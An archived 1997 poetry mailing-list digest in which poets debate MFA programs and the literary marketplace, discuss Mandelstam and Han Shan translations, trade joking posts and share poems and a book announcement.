Has anyone ever taken a count of writers (serious writers--who'll do it no matter what) who are in the academy and out? I'd be willing to bet most are out. The in-ones might be more visible, but are they a majority, really?

DT

From: Tom Mandel[SMTP:[redacted]]
Sent: Thursday, June 05, 1997 10:00 PM
To: [redacted]
Subject: grad school and the writers union

I think I want to withdraw the remark in which I drew a parallel between grad schools of creative writing and the Soviet Writers Union.

That is, I think the point I wish to make is both too complex for this kind of a forum (it would require a pretty developed argument) and unfriendly to the forum, which contains a large number of people who either currently attend or come out of or else teach in institutions of the kind I am (obviously) criticizing in making the comparison.

My sole - tho two-tipped - point is 1) the narrowing scope of an independent life of writing -- as the life and the entry into the life are moved into schools something is lost (to me that "something" that's lost is important), and 2) the "professionalization" of the role of the writer -- as we create institutions to certify them and turn them into teachers in the same schools we are developing a small world where poetry will live.

In that world, I think the parallel I drew will be hard to see.

I'm now going to cease writing on this subject (sigh of relief before numerous screens). A concluding note, however: I am not saying poets shouldn't teach. Everybody needs a job. Poets who've led interesting lives, done all sorts of things, and wound up teaching bring news from a larger world into that context.

Ok that's it. I'm now silent on the subject.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

↑ Index

153. **Daniel Tessitore**
Re: grad school and the writers union
Fri 6 Jun 1997

Mark wrote:

We should be willing to critique existing, highly-institutional venues and projects....But on the other hand the best work's gonna continue to come out of *very* underfunded operations.. _____

"But" ?

"best" ?

"operations" ?

"institutional...projects" ?

Help,
DT

↑ Index

154. **Daniel Tessitore**
Re: grad school and the writers union
Fri 6 Jun 1997

> *Mark wrote:*
>
> *We should be willing to critique existing, highly-institutional venues and projects....But on the other hand the best work's gonna continue to come out of *very* underfunded operations..*
> _____

OK, let's start with "But." The two statements above...how are they different?

DT

↑ Index

155. **Mark Prejsnar**
Re: grad school and the writers union
Fri 6 Jun 1997

They're not in logical tension or contradiction, agreed. You can do both. (Clearly, in fact, Aldon does both..To some extent Tom M. and myself and many

others in this thread do both. But some folks (including myself on occasion) feel that they might not have the *energy* to do both..Thus an impulse at times to say, awww screw attacking the contradictions of the institutions, let's just concentrate on publishing and nurturing the work we like....

On Fri, 6 Jun 1997, Daniel Tessitore wrote:

> *Mark wrote:*
>
> *We should be willing to critique existing, highly-institutional venues and projects....But on the other hand the best work's gonna continue to come out of *very* underfunded operations..*
>
> ————
>
> *OK, let's start with "But." The two statements above...how are they different?*
>
> *DT*

↑ Index

156. **Aldon L. Nielsen**
Re: no brawl where none intended
Fri 6 Jun 1997

---

as somebody who teaches in a university, I am hardly interested in that us/them argument Joseph doesn't want to have -- one of those items he senses we agree upon --

On the other hand, reference to suggestions made to the AWP suggests evidence as to changes in the literary "market" is alredy in hand, as I thought,,,, I do, in fact, recognize the difference bettwen assertoric and evidentiary -- It is simply a fact that the majority of the university press poetry publishing programs are now under the editorship of people who are employed in or who have graduated from university writing programs -- I made no assertion that this was a better or worse state of affairs than what preceded, simply that it had happened and was worthy of examination -- Examination of the contributors' notes sections of most contemporay poetry anthologies reveals similar changes -- this is not "better" or "worse" than the networks of acquaintance visible in the similar sections of anthologies devoted to what I would consider "innovative" poetry -- just different --

save where such business is advanced under the guise of openness that does not in fact exist -- which remains my real complaint --

Again, I am not shocked, shocked to find that as new patterns of professionalism emerge among publishing poets in the U.S. the people inhabiting those

patterns develop new modes of credentialing, disciplining, publishing, etc -- maybe it's just the literary historian in me that makes me want to watch these developments closely and, perhaps, historicize them -- but, I am puzzled that there would be any doubt that the explosive growth of MFA programs has had an effect upon the literary market place -- since most MFA programs advertise themselves as doing exactly that -- (I get at pamphlets from these programs every year, and they usually feature a section indicating that numbers of their graduates have won prizes X,Y & X, have become editors and/or teachers, etc))

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157. **Joe Safdie**
Re: Orpheus
Fri 6 Jun 1997

On Fri, 6 Jun 1997 [redacted] wrote:

the only thing I'm aware of is
> a short article written by a woman around the turn of the century, & various
> references to it in Eliade's books (where one discovers it is a world-wide
> tale, origins undoubtedly buried in the paleolithic, not as J Safdie
> suggested, a product of central Asian shamans)
>
Joe Safdie suggests you check out E.R. Dodds *The Greeks and The Irrational*, Charles Segal's *Orpheus: The Myth of The Poet* and a collection of essays on the historical development of Orpheus called *Orpheus: Metamorphoses of a Myth* edited by John Warden and published by the University of Toronto.

I used to like skimming through Eliade too . . .

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158. **Henry Gould**
Re: OM tranas
Fri 6 Jun 1997

Here's an unprofessional transliteration of the OM octet. Might give a sense of the tightly woven sounds.

Ia skazhu eto nacherna, schepotom,
Potomu chto esche nye pora:
Dostilayetsia potom i opitom
Byezotchyetnogo nyeba igra...

I pod vremenniya nyebom chistilitsa
Zabivayem mi chasta o tom,

Chto schastlivoye nebokhranilitse
Razdvizhnoii i pozhiznennii dom.

- you can see how there are really only 2 rhymes here, & the poem ends on the resounding "dom" (home). Mandelstam liked to distinguish himself from "scribblers" - he composed by the voice, walking around, muttering and refining his stanzas. There are several variants of some of his poems, mainly the later work. He liked to chisel his quatrains so they stand alone (sometimes) as well as work with the rest. There is a folkloric proverbial shorthand at work in Mandelstam, Tsvetaeva, Akhmatova, even Pasternak & Khlebnikov. It would be interesting to look for equivalents in our poetry for that. W. Stevens liked collecting proverbs & aiming for something similar, but maybe there's a closer parallel. - Henry Gould

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159. **hen**
Re: OM tranas
Fri 6 Jun 1997

& if you can scramble your way through those russian syllables & hear the beat, you will also notice the drumming iambic swing, which Tom's version (though it's a shorthand on a shorthand) picks up & does something equivalent - lost in the others. - HG

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160. **hen**
Re: OM tranas
Fri 6 Jun 1997

---

sorry for the extra posts. How about Emily Dickinson? Listen to that hymn stanza - it's russkie! - HG

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161. **David Israel**
Re: OM tranas -Reply
Fri 6 Jun 1997

Henry Gould writes,

<< Mandelstam liked to distinguish himself from "scribblers" - he composed by the voice, walking around, muttering and refining his stanzas. . . . He liked to chisel his quatrains so they stand alone (sometimes) as well as work with the rest. There is a folkloric proverbial shorthand at work in Mandelstam,

Tsvetaeva, Akhmatova, even Pasternak & Khlebnikov. It would be interesting to look for equivalents in our poetry for that. . . . >>

I don't know about kinships / equivalents in American poetry -- one might hesitantly mention Frost, but the sensibility seems dissimilar --

closer, in terms of the "folkloric proverbial" (and also certain effects poetics-wise -- and 8-line-poem-wise, in paritcular), I've felt there's much kinship in OM & Akhmatova with classical Chinese poetry (esp. the Tang poets, e.g. Wang Wei, some Li Bai [Li Po], . . .) --

other names / poetries to consider: the Rilke of shorter poems (perhaps both French & German)? the wonderful Spanish poet Antonio Machado (whom I know mainly thru Robt. Bly's volume, called *Times Alone* or something like that) . . .

here's an 8-liner from Tang recluse-poet Han Shan ("Cold Mountain"), my version. (Orig. rhyme -- before consonants shifted from the medaeval Chinese & obscured the rhyme -- was in form ABAB ABAB or something or other like that [not sure abt. all the As])

| once I went to sit at Han Shan
| I've lingered & remained these 30 years
| of late I came to call on friends & kin
| more than half have gone to the yellow springs
|
| it's gradually fading as does a dying candle
| it's long a'flowing belike the passing river
| this morning-tide aface my lone shadow
| unwonted tears in twain dangle down

d.i.

[I recall working on this & other of Han Shan's 8-liners much in that "walking & muttering" manner that Henry mentions, circa the late '70s; this fave I've just now re-tinkered (from memory) . . . (c) David Raphael Israel, as they say in the professional monde]

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162. David Israel
Re: OM tranas -Reply / revised
Fri 6 Jun 1997

---

not enough pacing & muttering this time . .
(thus, pardon for a 2nd stanza redux ...)

| it gradually fades as does the dying candle
| long a'flowing like the passing river
| this morning-tide aface my lone shadow
| unwonted tears in twain dangle down

d.i.

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163. **Judy Roitman**
Re: OM tranas -Reply
Fri 6 Jun 1997

This is a private message.

> | *once I went to sit at Han Shan*
> | *I've lingered & remained these 30 years*
> | *of late I came to call on friends & kin*
> | *more than half have gone to the yellow springs*
> |
> | *it's gradually fading as does a dying candle*
> | *it's long a'flowing belike the passing river*
> | *this morning-tide aface my lone shadow*
> | *unwonted tears in twain dangle down*
>
> *d.i.*

Why a'flowing? belike? aface? unwonted? in twain?

I'm really curious about this.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

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164. **John E. Matthias**
Re: OM transl.
Fri 6 Jun 1997

Reading all of the Mandelstam posts, I've been trying to remember where Robert Lowell's version of the Stalin Epigram appeared. I had assumed it was in _Imitations_, but it's not. George Steiner quotes it, with some interesting commentary, in "Linguistics and Poetics" in _Extraterritorial_, but is it not in one of

Lowell's books? I find it quite interesting, and different from, say, the James Greene and Brown/Merwin versions. But can someone tell me where in Lowell it appears? _Imitations_ concludes with Pasternak, but there seems to be no Mandelstam.

John Matthias

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165. David Israel
Han Shan whys & wherefores
Fri 6 Jun 1997

Judy --

> *Why a'flowing? belike? aface? unwonted? in twain?*
> *I'm really curious about this.*

good questions; you'll note (anon, if not already) I've (already) given a revised version of the verse (in a p.s. post) --

| it gradually fades as does the dying candle
| long a'flowing like the passing river
| this morning-tide aface my lone shadow
| unwonted tears in twain dangle down

knocking out the "belike" which was simply incorrect usage -- though alike could work) --

the Chinese is monosyllabic, a single beat, a single syllable

A B C D E
F G H I J

English -- in one way -- tends to work more bysyllabically, the so-called foot or meter or whatnot --

the line
| long a'flowing like the passing river

is completely smooth (as is the Chinese) -- though in English one doesn't always nec. want such regularity -- & the demands of translation are such that one doesn't get it anyway . . .

now to another side of the question,

| this morning-tide aface my lone shadow
| unwonted tears in twain dangle down

the "unwonted" and the "in twain" are both very good for the particular Chinese words in question -- in harmony with the *rarity* and *literary language feel* and *specificity to antique poetry* of those words --

the xuang ("in twain" -- or, alternatively, "twainly" -- it's adjectival, i.e., in a pair, as a couple) -- I don't know of a better, more terse, exact way to put this. Nor a word that carries the refined feel of such poetry. Gary Snyder put forth the idea that Han Shan wrote in a rough & ready way, and this is sort of reflecting ideas of others (in Chinese lit crit) who say his writing was somewhat "naturalistic" -- but he was trained in early life in court poetry and certainly the vocabulary is a poet's vocabulary, even if *sometimes* simple . . .

these are a few, partial answers, more could be said. I've not looked at the poem in the original (nor sat down w/ my old -- now lost, alas -- Matthews Chinese/English Dictionary -- for too long to give the proper & more precise ans. that it deserves; in fact, for that Matthews wouldn't suffice, it'd take reference to the Chinese/Chinese poets' dictionary, the Si Hai -- which too bad I was only learning to begin to get into when I left academia in 1980 . . . and now it's gradually fading like . . . .

// //

aha, Judy -- whose question was quite fine -- sends this follow up:

> *I am so sorry. I thought I'd sent a private message and hit the wrong button.*
>
> *shit.*

no prob -- I got your note backchannel, guess the post will come anon;

I've merely dashed out this partial answer off-the-curr, but might as well post it, as part of an answer....

best, d.i.

(p.s.: at least I got rid of the "doth"s of the old days!)

p.p.s.:

| long flowing like the passing river

works fine too -- but the way the rhythm integrates (in wake of the preceding line) somewhat favors the Woody Guthrie-esqe "a'flowing", maybe . . .

there are many other ways; for instance, the object (even the cipher "it") is completely absent (or strictly implied) in the original -- there's no it there --

gradually fades as does the dying candle
long a'flowing like the passing river

why "as does" in one line and "like" in the other? -- to mirror the variation of similitude-words in the Chinese -- the 2 lines being (as is standard in this form, for the inner couplets) completely parallel in terms of grammatical function of each word, so that the lines are set as variations of each other . . .

5 characters per line:

adverb verb {like-word} adjective noun
adverb verb {like-word} adjective noun

thus the poet can play with the categories of idea: sometimes opposites, sometimes similars:

gradually vs. long-time
fading vs. flowing [continuing]
"as does" vs. "like"
dying vs. passing
candle vs. river

now that I think of it, I think Snyder (in rendering this verse) used "guttering" for the "dying" word (it's a word that's used in Buddhism for metaphysical "extinction" as well as a literal word) -- and must say "guttering" is very likable word . . .

more scribble

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166. **Steven Marks**

Re: Han Shan whys & wherefores

Fri 6 Jun 1997

> *I've merely dashed out this partial answer off-the-curr, but might as well*
> *post it, as part of an answer....*

a fortunate mistake for all of us
thank you, gods

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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167. David Israel
han shan - p.p.s.
Fri 6 Jun 1997

a shorter (partly better, tho partial) answer abt. that Han Shan rendering is that I wanted to illustrate my mention of Chinese 8-line poems -- to consider such in tandem w/ the Russian -- by some actual poem, and so fetched this one from memory; -- but from memory of an old rendering (when I was poss. [even] more given to ornateness) -- & didn't (today) labor over it (reconsidering) as I "would've/should/ve/could/ve" (to borrow from what I heard first as words of Hillary Clinton), for any proper publication situation . . .

probably I'd ultimately drop the a'flowing, ok

but wd keep the "in twain" (adverbial, not adjectival -- my faux pas). The "unwonted" is more tricky (& interesting). I recall landing on that unwonted word in what seemed a stroke of insight at the time; you'll find "suddenly" in Gary Snyder version, & I don't recall what Burton Watson does with that word -- whose translations of this poet are quite good, he did 100 poems (Snyder did I think 27 poems; bit more lately Red Pine did the whole corpus [couple hundred verses -- most 8-line, some 4-line], but it's harder to read his than the Watson's) -- ; -- in fact, in Chinese it's two words, not one word; -- think my earlier rendering of the line had (once) been

unwontedly tears in twain dangle

& that follows the grammer of the line more exactly (including, w/ respect to the bisyllabic expression which is the "unwontedly") -- . . .

p.s., thx Steven M.

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168. Pritchett,Pat
Re: OM transl.
Fri 6 Jun 1997

Hmmm. Not at all sure and I'm not at home, but - I'd venture to guess wildly that you might find it - maybe - in Lowell's Notebooks or History, where he does a few sonnets as translations...

Meanwhile - I just saw my first funnel cloud ever - a sight to behold. It dipped down out of the sky just as delicate as could be, a long backwards S curve, about 3-4 miles southwest of my office, twirling counterclockwise along its semi-translucent length, a milky vortical cylinder spining sinister inside that vaporish length, all tapering to a needle point and disappearing behind the treeline - where it took out some poor devil's home, as we learned later, and then

nonchalantly retracted. Now I understand we may be in store for some flash flooding...

Way out west,
Patrick Pritchett

From: John E. Matthias
To: POETICS
Subject: Re: OM transl.
Date: Friday, June 06, 1997 4:08PM

Reading all of the Mandelstam posts, I've been trying to remember where Robert Lowell's version of the Stalin Epigram appeared. I had assumed it was in _Imitations_, but it's not. George Steiner quotes it, with some interesting commentary, in "Linguistics and Poetics" in _Extraterritorial_, but is it not in one of Lowell's books? I find it quite interesting, and different from, say, the James Greene and Brown/Merwin versions. But can someone tell me where in Lowell it appears? _Imitations_ concludes with Pasternak, but there seems to be no Mandelstam.

John Matthias

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169. David Israel
han shan - p.p.p.s. (brief)
Fri 6 Jun 1997

---

believe or not, my office is shutting off [till the morrow] our email in 5 minutes from now, so them thar gods won't allow more from here now,

just wish to quick-add, re: that "in twain" or "twainly" --

to be noted: there's also grammatical parallel in the last 2 lines, between the "lone" of line 7 and the "twain" of line 8 --

to give yet another form of that couplet (revealing better the grammar):

| this morning aface my lonely shadow
| unwontedly tears twainly dangle

("morning-tide" is new as of today -- so maybe I'm heading back toward antiquity's diction after all -- used to have this "this morning while I face my lone shadow" -- but too many "I's explicit, where merely implied in the chinese, do not a happy rendering make; [not happy w/ "lonely" rather than "lone," -- that's but to show the parallel]) . . .

now toodles, d.i.

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170. George Bowering
Re: loose middles
Fri 6 Jun 1997

> *At 9:33 PM -0700 6/5/97, George Bowering wrote:*
> *Hey, George, whatever happened to that Maria dame 'n Rachel Loden?*
>
> *(Hey, _Jack_. Walter Matthau)*
>
> *I have them both here, chained by the wrist to a waterpipe.*
>
> *you wish*
> *listen bromige, last time i heard from george it was a backchannel begging*
> *for a session w/ Lady Discipline, the grande maitresse of form and content,*
> *quick with a whip and terse with a verse.*

Ah, come on, Maria, that was a prose-poem, or maybe a short short story. Yr not supposed to take fiction literally. It was art, really. Did you think it was a message from me, and meant literally? Ha ha ha ha. Uh, no, but what did you think of it on _artistic_ levels?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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171. George Bowering
Re: loose lips, moose lips
Fri 6 Jun 1997

> *Bromige & Bowering typed:*
>
> *Hey, George, whatever happened to that Maria dame 'n Rachel Loden?*
>
> *I have them both here, chained by the wrist to a waterpipe.*
>
> *Oh, right. George will deny this, of course (and who can blame him),*
> *but unfortunately his real proclivities are quite a bit odder than that.*
> *I'm told that after he is trussed up in his elaborate. . .equipment, he*
> *can barely contain himself and will only answer to the name "Amy*

> *Lowell."*
>
> *Rachel L.*

I also accept "Miss Lowell" and "Robert". Jeeze. But you should see the arm muscles on that woman when I get the olive oil on them. Phew. You might think that the poems of William Meredith are pretty hot stuff, but they're nothing compared with those arms!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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172. Alan Julu Sondheim

(no subject)

Fri 6 Jun 1997

+++

Swinburne dreams of dark women pink with skin of rose
slumbering beneath the prick of sword on sward, those
eyes, those alabaster limbs of Swinburne, hard
upon the field, soft woes descried the bard, who would
not yield

but did there in the Garden, where Faustine
met Julu, turned towards savage Jennifer, espied
fair Clara in the distance, she of the darkling mien,
and Swinburne almost died, and Swinburne cried
in that green field

and brambles grew, and pricked the Snow-White skin
where blood flowed, upon the corset of the moon,
and liquid yielded Faustine, and all her kin,
and Swinburne turned, a ghost, or sign, or rune
in that dark field

in that dark field, in that green and early bloom,
in that dark field, flowed from empty womb

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173. **Joseph Duemer**
Re: no brawl where none intended
Fri 6 Jun 1997

Aldon Nielsen wrote:
"save where such business is advanced under the guise of openness that does not in fact exist -- which remains my real complaint --"

In this we entirely agree. Is it your suggestion that this is more of a problem in the writing program wing of Am Poetry, or more of a general literary phenomena?

Aldon Nielsen wrote: "[. . .]but, I am puzzled that there would be any doubt that the explosive growth of MFA programs has had an effect upon the literary market place -- since most MFA programs advertise themselves as doing exactly that -- (I get at pamphlets from these programs every year, and they usually feature a section indicating that numbers of their graduates have won prizes X,Y & X, have become editors and/or teachers, etc."

I think the impulse to historicize the literary trends you name is exactly what's needed. When I historicize the writing program phenomena, it's not that I necessarily want to deny that they have transformed the market so much as they are but one face of a more general lit-historical process. So our disagreement, if that is what it is, is more about the frame than the phenomena. Which line of thought is the root of my origianl question: "Haven't inovative writers *always* had to create their own alternative marketplace?" I.e., hasn't their always been, economically speaking, a functional equivelent of the university workshop? Hasn't their "always" been a center and an edge, each with their particular aesthetic / sociology? (I place "always" in quotes because it runs counter to the historicizing we've been praising.) So when I said "I'm not sure it is writing programs that have changed the "marketplace" for poetry," I'm suggesting that larger forces in the economy / culture created the need for writing programs.

It is well, too, to remind ourselves that historicizing impulses are not the same as politicizing impulses, though both are of course valid sorts of response to situations. One of the motives of my original post was to resist a too-easy politicizing.

Anyway, Aldon, thanks for sticking with this.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]

Fax: [redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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174. William Burmeister Prod
Re: OM Transl.
Fri 6 Jun 1997

Henry said:

> *While I agree with Judy & have said already that I don't think OM has been translated into english yet - I think the "translatorese" she mentions isn't a completely negative phenomenon. It's like the equivalent of what gets lost in translation. It adds sort of a musty charm, maybe like what the philatelist likes in an old stamped foreign stamp - unusable as postal currency but charming nonetheless (this side of an obsession with whitened sepulchres of phraseology).*

Judy said:

> *Is the translator's downfall the temptation to Communicate Something Else? Like all those bad poets trying to Communicate An Experience? On the other hand, isn't Communicating Something Else the translator's job?*
>
> *Successful translation seems a miracle to me, by definition it should be impossible.*
>
> *It's the phenomenon of translaterese that interests me here, and I'm curious what folks who do translation have to say about it.*

The "translatorese" is unavoidable when poets are translating poetry for as Octavio Paz says, "In theory only poets should translate poetry; in reality, poets are seldom good translators. They are not, because almost always they use another poet's poem as a point of departure for writing one of their own." Poetry,I believe, is what is retained in translation. Still, what gets lost in translation leaves a big black hole (and room for fun too!)

Translatorese perhaps because idiomatic clarity is sacrificed for metrical regularity. It's just that the rhyme is the far more conspicuous prosodic element in the translation in question, and its overuse may result in distortion of meaning or unaturalness of idiom. The translator has to choose what to retain in translation.

What's interesting is that contemporary English is permitting improvements in the translations of more texts from some languages and time periods, because

the reading of the texts in present-day English can now be done at a tempo better approximating the original.

You also have to love what Pierre Joris says in his brilliant remarks in the introduction to _Breathturn_. "Words and language as such, have been debased, emptied of meaning [...] and in order to be made useful again the poet has to transform and rebuild them, creating in the process those multiperspectival layers that constitute the gradual, hesitating yet unrelenting mapping of [the poet's] universe." There he also discusses the "destabilization of the concept of the poem as fixed, absolute artifact, readable (understandable, interpretable) once and for all," by seeing the "printed poem only as a score for all subsequent readings (private or public) and performative transformations, ..." Finally, we read, "Any translation that makes the poem sound more (or even as) accessible than it is in the original has to be flawed," and that "... it is the aim of any poet to transform his or her language."

Cheers,

Bill B.

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175. **michael corbin**
Re: Praise Song
Sat 7 Jun 1997

Mark Prejsnar wrote:
>
> I'd like to second Herb Levy's post re Black Chant... I have also just
> gotten into the book; but Aldon's previous books on race and U.S. poetry,
> Reading Race and Writing Between the Lines, are also essential....It has
> occured to me that race issues are conspicuous in their absense here on
> the list; at most a few striking and perennially controversial individuals
> like Baraka appear in our exchanges, as surrogates for larger issues.
> Aldon's work interacts in a vital and productive way with Mackey's essays
> in Discrepent Engagement, and with Damon's Dark End of the Street. As a
> white poet who's been strongly influenced by black ones, going back 20
> years (including crucially Baraka and Mackey), this does seem to me to be
> an untapped series of themes here. All the books I've just mentioned are
> stage-setting and vital for our going forward in thinking about
> black/white, inclusion/exclusion, politics in relation to style and
> form...My one frustration with all of them is their tendency to address
> poetry issues in a way that's divorced from the physical reality of the
> poetry itself.. Politics and race can be talked about in a lot of
> different ways, but in relation to poetry you can't avoid (or shouldn't)

> issues of style, form, sound. All the more striking as these theorists
> are mostly suberb practitioners as well.

Just a general question, or line of thought, from this keenly necessary obvious observation above. I was curious about the use of 'postmodernism' in Aldon Nielsen's quite excellent _Black Chant_. In particular with regard to its relation to 'black-ness' and/or 'white-ness' or something more or less than the poetics of them. While, as I read it, the usage therein marks out many interesting maps (a broad aesthetic gestalt, a specific set of language/textual practices and production, circulating notions and performances of identity, a re- or transvaluation of value, ethics and politics greater than, but not seperable from the sum of their race inflected parts). But also there is a temporal/historical (historicist?) postmodernism of the usual coming-after-modernism-but-not-sure-how-or-wither, or like, "what time is it?" now. In that post modernism Nielsen enjoins a reader-writer-subject to a "recollection of the history of fractures" in an "american postmodernity" that "follow(s) black poets as they read and transform the texts of whites." Yet . . . and yet, it seems, the readings, they seem, in this commodified american postmodernity (maybe this post- Tupac/Biggie Smalls world of white-ness, not to mention the poets), (lets say one marker being the space between Anthony Braxton and Toni Braxton) always to want to transform in the *other* direction in the name of . . . it is said, liberal possibilities. So where can one limn or line those "transracial signifying practices" of possible "transracial plentitude" of this particular american POETICS postmodernity?

I was also trying to think about that "recollection of the history of fracture" alongside of Paul Gilroy's "Not a Story to Pass On: Living Memory and the Slave Sublime" and whether the Black Chant is heard in that larger _Black Atlantic_ as counter-memory or perhaps a double-consciousness of a plentitude, a plentitude of the unforgettable and perhaps the unredeemable?

Maybe just some right translatorese.

mc

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176. David Bromige
moosehead loose slips
Sat 7 Jun 1997

I see a storm of white. I see a tall, gaunt figure -- myself. Lost, as ever. Then a taller, gaunter figure: Randolph Scott. Buddy Holly. George Bowering! We see the skicabin. "It must be abandoned." (GB). Smoke funnels from the chimney. Inside: Ida Lupino. Elizabeth Scott. Gloria Grahame. Jinx Falkenberg. Two, anyway. I see checked shirts. I paint a picture. I write a wrong. I draw a veil.

How quickly they forget. There was no resorting to waterpipe restraint nor the hot licks & juicy comparison of william meredith that night.There was just re-sorting. It was an episode of "Frazier".

The snow has thawed, large parts of british columbia have slipped beneath the briny, or been towed south by the Mason-Dixon Line. The Reform Party has grown like a goiter in an iodine zone. And now, history has been rewritten. But the sun sees all. The sun knows. The testimony of one solitary witness tells us more about society than a stack of tracts. It says so in this book by Theodor Adorno.

It is hard to forgive ourselves for having loved. I'm trying to get the tone of that right. I see a creative writing teacher, coming towards me. Charles Laughton. Jame Mason. Raymond Massey. Sydney Greenstreet! "Tone, tone, tone." Lashed to the mast. Stewed to the gills. Dressed to the nines. Chained by the wrist to the narrative, played by Coleman Hawkins, upstaged by Peter Lorre, shrink-wrapped by the Gnomes of Zurich. O, for an Aussie umlaut! "Veddy hot, Zurich." I see a storm of white. Veddy cold. Cold as a dame's shoulder when she's givin' you air. You figgered her for Kim Novak, turns out she's Sharon Stone. She figgered you for Buddy Holly, time virtually passed, tons of it, taking out the bridge at Spuzzum, now it turns out youre her Amy Lowell figure.

But what k-edge properly understood can deprive us of the mirth of flowers? Or the Maharajah of Moggidore? Or the mooseheaded cabin in the outbeck of the unconscious? Thats what I want to know, & thats why i began this thread, knowing that one twitch upon it would lead me back at last to the only home i know, Randolph Scott. We may be the town, but he's the sherriff. Thats why he wears that star on his check shirt, not because. I see an end approaching. "They threw a dead dog after him down the ravine." No, thanks. An aporia--"It was the best of times..." It was the breast of times. All seriousness aside. And it was getting dressed. It was wearing a Thing we did last summer. I woke in a cold sweat, to be discontinued.

↑ Index

177. Brent Long
Secret of the Somnambulist
Sat 7 Jun 1997

SECRET OF THE SOMNAMBULIST

I am asleep when it happens
I look out the window
I see black and the moonlight
I see fog on the Bostons

I hear dogs near the river
I see a boat go past like a shadow
In front of a mirror
I feel the stillness like a fist in the back

Down low
Beneath the shoulder blade
And the moon disappears
Like a coward

The trees and the river
Speak to me in unison
They sing me a song
The night is on fire

My dreams are like a ship
With no harbor
My thoughts are tangled
Like a mooring line

I see two men sleeping
On the riverbank
The single star above them
Keeping watch like a one-eyed dog

The moon weaves
In and out between the clouds
A boxer in the ring
A Mata Hari

I read the words of dead poets
In its light

The dogs keep barking
They play hell with the mountains

I walk the roads
You don’t find on the maps
I avoid the highways like a moccasin

I read the writing on the wall

I see the visions
Noone wants to hear about
The visions that inspired genocides
The visions that seem too real

I tell the stories
Everyone wishes would stay hidden

The stories that leave the women lonely
That keep the men sitting at the bar longer than they should

I cross a meadow
Like the deserts of Egypt

I sit down at the place in the grass
Where the two lovers spread out their blankets

I lay my head in the warm blades
And listen to the owl take off from the treetop

I know that I will rise
And walk from this place before dawn

I know that when I do
There can be no going back

I hear the death cry
Of a rabbit in the meadow

I know the beauty
Of blood on the wingtips

↑ Index

178. Rachel Loden
from the lost ms. of Miss Lowell
Sat 7 Jun 1997

Can barely contain my excitement--found this slipped neatly into a book of bean recipes in the Boston Public Library:

The Garden by Moonlight

A moose among roses,
Phlox, lilac-misted under a first-quarter moon,
Someone is chained in the sweet alyssum.
The Yukon must be very still,
I think I hear the "Song of the Mounties,"
Men in red tunics are missing Saskatchewan.
Ah, Bromridge, do you hear the distant wolverines?
They knew George Bowering,
But who will tie his shoes
When I am gone.

Amy L.

↑ Index

179. David Bromige
midnight oil
Sat 7 Jun 1997

Preston Storrithurson here, sending from DB's machine (I'm currently staying in the Scholar's Cottage in the grounds of the McBromige Foundation). I am excited indeed by the new Amy Lowell poem Rachel Loden found. If indeed it prove authentic, it's the best thing Amy ever wrote. It also, on internal evidence, establishes that both George Bowering & my host are considerably older than claimed in their literary encyclopedia entries (there has long been some confusion as to Bowering's date-of-birth, & Bromige's is listed inconsistently also). We note that extra 'r' in my host's name : Miss Lowell was an unreliable speller. But it might suggest that she knew him not as well as she knew Bowering, whose name she gets right. How odd that none of his work appears in an _Imagist Anthology_ . I have long thought it should.

About my host's midnite posting I say nothing, lest I be accused of guest-driven bias (the cot is hard, the food unforgiving). But Right on, Brent Long!, with your dream-narrative of (de) composition over Boston Common. Indeed it is exciting to live in a New Renaissance Age & be greeted on a Poetics List with the raw material of critical activitity. Please call me Preston.

↑ Index

180. David Bromige
midnite mail
Sat 7 Jun 1997

Preston Storrithurson here, posting again so soon after my last! In response to a couple of inquiries (well, one, actually) about the McBromige Foundation. I have been instructed by my host that this information can only be back-channeled. But I can tell you that the grounds are eccentric in the extreme, with paths that lead only to blank walls, a labyrinth whose middle is easily found, & a large pavilion-tent above a picnic table that seems to be waiting for a larger crowd than I have yet to see here. I have not yet been allowed in the main house, but the owner descends into the grounds sometime before midnite (when he begins his compositions, both for the computer & the wolverine) but after cocktails (two evenings ago, he referred to me as "Slurrythorson"!) I hear the breakfast bell, which means my own will be brought to me shortly here in the cottage, but I will complain about the mail before I sign off. It must be the remoteness of this place, so close to the Canadian border, but delivery is _so slow_ . I might well have expected 23 letters this morning, but only found 4. My host suspects heel-dragging among the sorters. And none of the mail from

Britian has arrived yet, although it is teatime there by now, and they are able to take a rest from their laborious cricket & croquet. Ah well. Preston

↑ Index

181. Aldon L. Nielsen
Re: the poetics of description
Sat 7 Jun 1997

Having seen all too many twisters in my early days on the Plains (one reason I always preferred my adopted hometown in D.C.), I have to say Patrick's paragraph on the recent skies of Boulder is one of the best descriptions I've seen --

No, cows aren't thrown at your windshield, and it doesn't sound like a freight train. But then again, it does sound a lot like Mandelstam in English --

unwinding the next morning,
Aldon

↑ Index

182. Christopher Reiner
New K. Waldrop Book
Sat 7 Jun 1997

N e w f r o m A v e c B o o k s

The Silhouette of the Bridge (Memory Stand-Ins) Keith Waldrop

ISBN: 1-880713-08-X € Price: $ 8.95 € 80 Pages € Poetry/ Prose Distributed by Small Press Distribution, Baker & Taylor

"_The Silhouette of the Bridge (Memory Stand- Ins)_ is a beautifully spare and inventive work of reflection on the elusive nature of memory, perception and experience. As we would expect from Keith Waldrop, it is suffused with a particular humanity and an appreciation for the absurd, even the grotesque, in daily life. The rhythmic apposition of prose and poetry brings to mind freedom, alertness and the quality of distillation in Basho¹s classic travel sketches. With his quietly precise sense of modulation and his unerring gaze, Waldrop remains one of the vital and requisite semi-secret presences in American letters." ‹Michael Palmer

³What I see, what I know, takes the form of my knowing, my seeing. That is why I doubt most of what I find most certain, why the rationality of the world appalls me.² In The Silhouette of the Bridge (Memory Stand-Ins), Keith Waldrop never trespasses across Wittgenstein¹s threshold of the unsayable, yet he brings us often to the shadows cast between terror and calm, memory and fact, body and soul. Writing with his usual consummate clarity, Waldrop has given us a

